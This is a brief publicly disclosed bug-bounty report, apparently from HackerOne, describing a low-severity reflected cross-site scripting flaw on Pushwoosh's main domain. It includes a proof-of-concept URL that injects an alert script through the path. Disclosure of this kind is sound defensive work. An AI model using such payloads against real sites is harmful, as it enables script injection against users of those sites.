Pushwoosh · Report #182033
Reflected Xss on
Validstatus
lowseverity
11upvotes
14 Dec 2016disclosed
How it was found
Hi here is a reflected xss on your main domain
poc : http://www.pushwoosh.com/.xml/></noscript><script>alert(1)</script>
This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original